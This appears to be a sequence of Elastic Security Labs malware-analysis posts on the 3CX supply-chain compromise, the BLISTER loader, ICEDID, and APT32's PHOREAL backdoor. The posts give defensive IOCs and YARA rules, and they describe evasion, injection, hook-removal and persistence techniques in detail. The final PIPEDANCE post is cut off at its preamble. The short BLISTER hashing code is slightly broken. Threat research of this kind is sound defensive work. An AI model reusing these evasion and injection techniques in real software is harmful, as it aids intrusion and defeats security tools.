Elastic Endgame and Elastic Endpoint customers with shellcode protections enabled in prevention mode blocked the execution of SUDDENICON, though any compromised client software may need to be removed. Due to the delayed shellcode retrieval and injection, 3CXDesktopApp users may not see alerts until the sleep interval passes (approximately 7 days). Customers who are using shellcode protections in detect-only mode should enable prevention to mitigate the risk of infection. Do not create exceptions for these alerts.

References

The following were referenced throughout the above research: - https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/ - https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/ - https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign

Indicators

Potentially malicious domains

Bold domains indicate that they were observed in our analysis.

akamaicontainer[.]com
akamaitechcloudservices[.]com
azuredeploystore[.]com
azureonlinecloud[.]com
azureonlinestorage[.]com
dunamistrd[.]com
glcloudservice[.]com
journalide[.]org
msedgepackageinfo[.]com
msstorageazure[.]com
msstorageboxes[.]com
officeaddons[.]com
officestoragebox[.]com
pbxcloudeservices[.]com
pbxphonenetwork[.]com
pbxsources[.]com
qwepoi123098[.]com
sbmsa[.]wiki
sourceslabs[.]com
visualstudiofactory[.]com
zacharryblogs[.]com

Potentially impacted 3CXDesktopApp versions and hashes:

Client hash: dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc OS: Windows Installer hash: aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 Installer filename: 3cxdesktopapp-18.12.407.msi

Client hash: fad482ded2e25ce9e1dd3d3ecc3227af714bdfbbde04347dbc1b21d6a3670405 OS: Windows Installer hash: 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 Installer filename: 3cxdesktopapp-18.12.416.msi

Client hash: 92005051ae314d61074ed94a52e76b1c3e21e7f0e8c1d1fdd497a006ce45fa61 OS: macOS Installer hash: 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 Installer filename: 3CXDesktopApp-18.11.1213.dmg

Client hash: b86c695822013483fa4e2dfdf712c5ee777d7b99cbad8c2fa2274b133481eadb OS: macOS Installer hash: e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec Installer filename: 3cxdesktopapp-latest.dmg

BLISTER Loader

Cyril François,Daniel Stepanic,Salim Bitam — Thu, 13 Apr 2023 00:00:00 GMT

Key Takeaways

BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode
In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis
Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis
40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures

For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:

BLISTER Campaign Analysis

BLISTER Configuration Extractor

Overview

The Elastic Security team has continually been monitoring the BLISTER loader since our initial release at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.

A distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL’s patched by BLISTER malware:

| Filename | Description | | -------------- | ------------------------------------------------------------------ | | dxgi.dll | DirectX Graphics Infrastructure | | WIAAut.DLL | WIA Automation Layer | | PowerCPL.DLL | Power Options Control Panel | | WIMGAPI.DLL | Windows Imaging Library | | rdpencom.dll | RDPSRAPI COM Objects | | colorui.dll | Microsoft Color Control Panel. | | termmgr.dll | Microsoft TAPI3 Terminal Manager | | libcef.dll | Chromium Embedded Framework (CEF) Dynamic Link Library | | CEWMDM.DLL | Windows CE WMDM Service Provider | | intl.dll | LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME | | vidreszr.dll | Windows Media Resizer | | sppcommdlg.dll | Software Licensing UI API |

Due to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.

Our research shows that BLISTER is actively developed and has been linked in public reporting to LockBit ransomware and the SocGholish framework; in addition, Elastic has also observed BLISTER in relation to the following families: Amadey, BitRAT, Clipbanker, Cobalt Strike, Remcos, and Raccoon along with others.

In this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.

Consider the following sample representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.

Execution Flow

The execution flow consists of the following phases:

Deciphering the second stage
Retrieving configuration and packed payload
Payload unpacking
Persistence mechanisms
Payload injection

Launch / Entry Point

During the first stage of the execution flow, BLISTER is embedded in a legitimate version of the colorui.dll library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function LaunchColorCpl :

Rundll32 execution arguments

rundll32.exe "BLISTER.dll,LaunchColorCpl"

The image below demonstrates how BLISTER’s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.

If we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:

Deciphering Second Stage

BLISTER’s second stage is ciphered in its resource section (.rsrc).

The deciphering routine begins with a loop based sleep to evade detection:

BLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the NtProtectVirtualMemory API:

Finally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it’s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:

Obfuscation

BLISTER’s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of which appears below.

BLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.

Retrieving Configuration and Packed Payload

BLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.

The routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:

When located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:

Finally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:

See the configuration structure in the appendix.

Time Based Anti Debug

After loading the configuration, and depending if the kEnableSleepBasedAntiDebug flag (0x800) is set, BLISTER calls its time-based anti-debug function:

This function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:

The main thread will sleep using NtDelayExecution until the sleep thread has exited:

Finally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:

If not, the function will return 1 and the process will be terminated:

Windows API

Blister’s GetModuleHandle

BLISTER implements its own GetModuleHandle to evade detection, the function takes the library name hash as a parameter, iterates over the process PEB LDR’s modules and checks the hashed module’s name against the one passed in the parameter:

Blister’s GetProcAddress

BLISTER’s GetProcAddress takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.

The DLL can be loaded or mapped then the function iterates over the DLL’s export function names and compares their hashes with the ones passed in the parameter:

If the export is found, and its virtual address isn’t null, it is returned:

Else the DLL is LdrLoaded and BLISTER’s GetProcAddress is called again with the newly loaded dll:

Library Manual Mapping

BLISTER manually maps a library using NtCreateFile in order to open a handle on the DLL file:

Next it creates a section with the handle by calling NtCreateSection with the SEC_IMAGE attribute which tells Windows to loads the binary as a PE:

NtCreateSection used within mapping function

Finally it maps the section with NtMapViewOfSection :

x32/x64 Ntdll Mapping

Following the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.

It starts by mapping the x32 version:

Then it disables SysWOW64 redirection:

And then maps the 64 bit version:

Then if available, the mapped libraries will be used with the GetProcAddress function, i.e:

LdrLoading Windows Libraries and Removing Hooks

After mapping 32 and 64 bit NTDLL versions BLISTER will LdrLoad several Windows libraries and remove potential hooks:

First, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:

If the hash is found BLISTER uses the LdrLoad to load the library:

Then BLISTER searches for the corresponding module in its own process:

And maps a fresh copy of the library with the module’s FullDllName :

BLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:

Next BLISTER iterates over each section of the loaded library to see if the section is executable:

If the section is executable, it is replaced with the mapped one, thus removing any hooks:

x64 API Call

BLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:

To make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate technique:

Unpacking Payload

During the unpacking process of the payload, the malware starts by allocating memory using NtAllocateVirtualMemory and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).

Deciphering

BLISTER leverages the Rabbit stream cipher, passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.

Decompression

After the decryption stage, the payload is then decompressed using RtlDecompressBuffer with the LZNT1 compression format.

Persistence Mechanism

To achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the CreateDirectoryW function with a unique hardcoded string found in the configuration file such as: C:\ProgramDataUNIQUE STRING\\>

BLISTER then copies C:\System32\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\>.exe and UNIQUE STRING\>.dll, respectively.

BLISTER uses the CopyModuleIntoFolder function and the IFileOperation Windows COM interface for bypassing UAC when copying and renaming the files:

The malware creates an LNK file using IShellLinkW COM interface and stores it in C:\Users\\AppData\Roaming\Microsft\Windows\Start Menu\Startup as UNIQUE STRING\\>.lnk

The LNK file is set to run the export function LaunchColorCpl of the newly copied malware with the renamed instance of rundll32. C:\ProgramData\UNIQUE STRING\>\UNIQUE STRING\>.exe C:\ProgramData\UNIQUE STRING\>\UNIQUE STRING\>.dll,LaunchColorCpl

Injecting Payload

BLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:

Shellcode Execution

After decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with NtAllocateVirtualMemory API, it then copies the shellcode to it and it sets the memory region to read write execute with NtProtectVirtualMemory and then executes it.

Own Process Injection

BLISTER can execute DLL or Executable payloads reflectively in its memory space. It first creates a section with NtCreateSection API.

BLISTER then tries to map a view on the created section at the payload’s preferred base address. In case the preferred address is not available and the payload is an executable it will simply map a view on the created section at a random address and then do relocation.

Conversly, if the payload is a DLL, it will first unmap the memory region of the current process image and then it will map a view on the created section with the payload’s preferred address.

BLISTER then calls a function to copy the PE headers and the sections.

Finally, BLISTER executes the loaded payload in memory starting from its entry point if the payload is an executable. In case the payload is a DLL, it will find its export function according to the hash in the config file and execute it.

Process Hollowing

BLISTER is able to perform process hollowing in a remote process:

First, there is an initial check for a specific module hash value (0x12453653), if met, BLISTER performs process hollowing against the Internet Explorer executable.

If not, the malware performs remote process hollowing with Werfault.exe. BLISTER follows standard techniques used for process hollowing.

There is one path within this function: if certain criteria are met matching Windows OS versions and build numbers the hollowing technique is performed by dropping a temporary file on disk within the AppData folder titled Bg.Agent.ETW with an explicit extension.

The malware uses this file to read and write malicious DLL to this file. Werfault.exe is started by BLISTER and then the contents of this temporary DLL are loaded into memory into the Werfault process and the file is shortly deleted after.

Configuration Extractor

Automating the configuration and payload extraction from BLISTER is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples and Cobalt Strike instances in a timely manner.

Our extractor uses a Rabbit stream cipher implementation and takes either a directory of samples with -d option or -f for a single sample,

To enable the community to further defend themselves against existing and new variants of the BLISTER loader, we are making the configuration extractor open source under the Apache 2 License. The configuration extractor documentation and binary download can be accessed here.

Conclusion

BLISTER continues to be a formidable threat, punching above its own weight class, distributing popular malware families and implants leading to major compromises. Elastic Security has been tracking BLISTER for months and we see no signs of this family slowing down.

From reversing BLISTER, our team was able to identify key functionality such as different injection methods, multiple techniques for defense evasion using anti-debug/anti-analysis features and heavy reliance on Windows Native API’s. We also are releasing a configuration extractor that can statically retrieve actionable information from BLISTER samples as well as dump out the embedded payloads.

Appendix

Configuration Structure

BLISTER configuration structure

struct Config {
  uint16_t flag;
  uint32_t payload_export_hash;
  wchar_t w_payload_filename_and_cmdline[783];
  size_t compressed_data_size;
  size_t uncompressed_data_size;
  uint8_t pe_deciphering_key[16];
  uint8_t pe_deciphering_iv[8];
};

Configuration’s Flags

BLISTER configuration files

enum Config::Flags {
  kDoPersistance = 0x1,
  kOwnProcessReflectiveInjectionMethod = 0x2,
  kOwnProcessHollowingMethod = 0x8,
  kRemoteProcessHollowingMethod = 0x10,
  kExecutePayloadExport = 0x20,
  kExecuteShellcodeMethod = 0x40,
  kInjectWithCmdLine = 0x80,
  kSleepAfterInjection = 0x100,
  kEnableSleepBasedAntiDebug = 0x800,
};

Hashing Algorithm

BLISTER hashing algorithm

uint32_t HashLibraryName(wchar_t *name) {
  uint32_t name {0};
  while (*name) {
 hash = ((hash >> 23) | (hash  << 9)) + *name++;
  }
  return hash ;
}

Indicators

| Indicator | Type | Note | | ---------------------------------------------------------------- | ------ | ----------- | | afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2 | SHA256 | BLISTER DLL |

YARA Rule

This updated YARA rule has shown a 13% improvement in detection rates.

BLISTER YARA rule

rule Windows_Trojan_BLISTER {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-04-29"
        last_modified = "2022-04-29"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "BLISTER"
        threat_name = "Windows.Trojan.BLISTER"
        description = "Detects BLISTER loader."
        reference_sample = "afb77617a4ca637614c429440c78da438e190dd1ca24dc78483aa731d80832c2"

    strings:
        $a1 = { 8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7 }
        $a2 = { 75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75 }
        $a3 = { 78 03 C3 8B 48 20 8B 50 1C 03 CB 8B 78 24 03 D3 8B 40 18 03 FB 89 4D F8 89 55 E0 89 45 E4 85 C0 74 3E 8B 09 8B D6 03 CB 8A 01 84 C0 74 17 C1 C2 09 0F BE C0 03 D0 41 8A 01 84 C0 75 F1 81 FA B2 17 EB 41 74 27 8B 4D F8 83 C7 02 8B 45 F4 83 C1 04 40 89 4D F8 89 45 F4 0F B7 C0 3B 45 E4 72 C2 8B FE 8B 45 04 B9 }
        $b1 = { 65 48 8B 04 25 60 00 00 00 44 0F B7 DB 48 8B 48 ?? 48 8B 41 ?? C7 45 48 ?? ?? ?? ?? 4C 8B 40 ?? 49 63 40 ?? }
        $b2 = { B9 FF FF FF 7F 89 5D 40 8B C1 44 8D 63 ?? F0 44 01 65 40 49 2B C4 75 ?? 39 4D 40 0F 85 ?? ?? ?? ?? 65 48 8B 04 25 60 00 00 00 44 0F B7 DB }
    condition:
        any of them
}

References

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

Thawing the permafrost of ICEDID Summary

Cyril François,Daniel Stepanic — Tue, 21 Mar 2023 00:00:00 GMT

ICEDID is a malware family first described in 2017 by IBM X-force researchers and is associated with the theft of login credentials, banking information, and other personal information. ICEDID has always been a prevalent family, but has achieved even more growth since EMOTET’s temporary disruption in early 2021. ICEDID has been linked to the distribution of other distinct malware families including DarkVNC and COBALT STRIKE. Regular industry reporting, including research publications like this one, help mitigate this threat.

Elastic Security Labs analyzed a recent ICEDID variant consisting of a loader and bot payload. By providing this research to the community end-to-end, we hope to raise awareness of the ICEDID execution chain, highlight its capabilities, and deliver insights about how it is designed.

Execution Chain

ICEDID employs multiple stages before establishing persistence via a scheduled task and may retrieve components from C2 dynamically. The following diagram illustrates major phases of the ICEDID execution chain.

Research Paper Overview

Elastic Security Labs described the full execution chain of a recent ICEDID sample in a detailed research paper hosted at Elastic Security Labs. In addition, we provide a comprehensive analysis of this malware sample and capabilities, including: - Virtualization detection and anti-analysis - C2 polling operations - Shellcode execution methods - Credential access mechanisms - Websocket connections - Installing a web browser proxy to capture all user traffic - Reverse shell and VNC server installation - Certificate pinning - Data validation - ICEDID observable TTPs - Links to useful resources from Elastic

Detections and preventions

Detection logic

Preventions (source: https://github.com/elastic/protections-artifacts/)

Malicious Behavior Detection Alert: Command Shell Activity
Memory Threat Detection Alert: Shellcode Injection
Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32
Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process
Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments
Malicious Behavior Detection Alert: Windows Script Execution from Archive File

YARA

Elastic Security has created multiple YARA rules related to the different stages/components within ICEDID infection, these can be found in the signature linked below: - Windows.Trojan.ICEDID

Elastic Security Labs is a team of dedicated researchers and security engineers focused on disrupting adversaries though the publication of detailed detection logic, protections, and applied threat research.

PHOREAL Malware Targets the Southeast Asian Financial Sector

Thu, 02 Mar 2023 00:00:00 GMT

Preamble

Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.

What is the threat?

PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).

What is the impact?

APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.

What is Elastic doing about it?

Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.

Investigation Details

While conducting Threat Discovery & Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.

You can read more about Elastic Security’s memory protections HERE and about in-memory attacks HERE.

With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:

Targeted process is a signed Windows binary

...
"process": {
     "args": [
       "control.exe",
       "Firewall.cpl",
       "{2D48D219-C306-4349-AE1F-09744DFFB5B9}"
     ],
     "Ext": {
       "code_signature": [
         {
           "trusted": true,
           "subject_name": "Microsoft Windows",
           "exists": true,
           "status": "trusted"
         }
       ],
       "dll": [
...

Unsigned loaded .dll

...
   "Ext": {
     "mapped_address": 1945501696,
     "mapped_size": 21135360
   },
   "path": "C:\\Windows\\SysWOW64\\tscon32.dll",
   "code_signature": [
     {
       "exists": false
     }
   ],
   "name": "tscon32.dll",
   "hash": {
     "sha1": "007970b7a42852b55379ef4cffa4475865c69d48",
     "sha256": "ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33",
     "md5": "2b6da20e4fc1af2c5dd5c6f6191936d1"
   }
 },
...

Starting module from the alerting thread

...
 "pe": {
   "original_file_name": "CONTROL.EXE"
 },
 "name": "control.exe",
 "pid": 5284,
 "thread": {
   "Ext": {
     "start_address_module": "C:\\Windows\\SysWOW64\\tscon32.dll",
...

Alerting memory region metadata

...
"memory_region": {`
   "region_size": 73728,
   "region_protection": "RWX",
   "allocation_base": 81395712,
   "bytes_allocation_offset": 0,
   "allocation_type": "PRIVATE",
   "memory_pe_detected": true,
   "region_state": "COMMIT",
   "strings": [
     "QSSSSSSh ",
     ...
     "bad cast",
     "Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}",
     "Netapi32.dll",
     "NetWkstaGetInfo",
     "NetApiBufferFree",
     "\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}",
     "list too long",
     "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll",
     "DllEntry",
     ...
     ".?AVbad_alloc@std@@",
     "C:\\Windows\\syswow64\\control.exe",
     ":z:zzzzzz7",
     ...
     "InternalName",
     "mobsync.exe",
     "LegalCopyright",
...

Thread data for pivoting

...
"thread": {
 "Ext": {
   "start_address_bytes": "8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300",
   ...
   "start_address_bytes_disasm": "mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]"
 },
...

From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.

Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included the below entry first submitted in July 2021.

start_address_bytes" title="VT result matching start_address_bytes" />

In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (@fxb_b) authored a crowdsourced YARA rule identifying this as the PHOREAL backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.

Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.

Converted YARA strings

strings:
          \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our Collecting Cobalt Strike Beacons article.

Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an RCDATA resource as described in a 2018 CYLANCE OceanLotus whitepaper.

The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.

https://ipinfo.io/ query results for 103.75.117[.]250

{
  "ip": "103.75.117[.]250",
  "city": "Hong Kong",
  "region": "Central and Western",
  "country": "HK",
  "loc": "22.2783,114.1747",
  "org": "AS133752 Leaseweb Asia Pacific pte. ltd.",
  "timezone": "Asia/Hong_Kong",
  "asn": {
    "asn": "AS133752",
    "name": "Leaseweb Asia Pacific pte. ltd.",
    "domain": "leaseweb.com",
    "route": "103.75.117[.]0/24",
    "type": "hosting"
  },
  "company": {
    "name": "Oneprovider.com - Hong Kong Infrastructure",
    "domain": "oneprovider[.]com",
    "type": "hosting"
  },
  "privacy": {
    "vpn": false,
    "proxy": false,
    "tor": false,
    "relay": false,
    "hosting": true,
    "service": ""
  },
  "abuse": {
    "address": "1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada",
    "country": "CA",
    "email": "info@oneprovider.com",
    "name": "ONE PROVIDER",
    "network": "103.75.117[.]0/24",
    "phone": "+1 514 286-0253"
  },
  "domains": {
    "ip": "103.75.117[.]250",
    "total": 2,
    "domains": [
      "thelivemusicgroup[.]com",
      "cdn-api-cn-1[.]com"
    ]
  }

Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.

!https://lookup.icann.org/lookup for thelivemusicgroup[.]com

The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A 2017 Mandiant report indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.

Analysis

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries and victims of intrusions.

Adversary Assessment Justification

We assess with high confidence based on observed activity and previous reporting that REF4322 is APT32/OceanLotus and the actor behind this incident. APT32 has been active since 2014 notably targeting Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.

Conclusion

YARA Rules

We have created a YARA rule to identify this PHOREAL activity.

Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo

rule Windows_Trojan_PHOREAL {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-02-16"
        last_modified = "2022-02-16"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PHOREAL"
        threat_name = "Windows.Trojan.PHOREAL"
        description = "Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo."
        reference_sample = "88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de"


    strings:
              \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

Defensive Recommendations

The following steps can be leveraged to improve a network’s protective posture:

Enable Elastic Security Memory Protection on Windows endpoints
Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization
Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.

References

The following research was referenced throughout the document:

Observables

| Indicator | Type | Reference | Notes | | ---------------------------------------------------------------- | ----------- | ----------- | -------------------------------------- | | thelivemusicgroup[.]com | domain-name | | C2 domain encrypted in malware | | 103.75.117[.]250 | ipv4-addr | | Resolved IP of thelivemusicgroup[.]com | | ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33 | SHA256 | tscon32.dll | PHOREAL dll |

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

Twice around the dance floor - Elastic discovers the PIPEDANCE backdoor

Daniel Stepanic — Mon, 27 Feb 2023 00:00:00 GMT

Key takeaways

Elastic Security Labs has identified PIPEDANCE, a previously unknown Windows backdoor used to enable post-compromise and lateral movement activities
Built for stealthy operations through named pipes, PIPEDANCE employs capabilities for interactive terminals, discovery/file enumeration, process injection, and data exfiltration checks
PIPEDANCE was observed deploying Cobalt Strike

Preamble

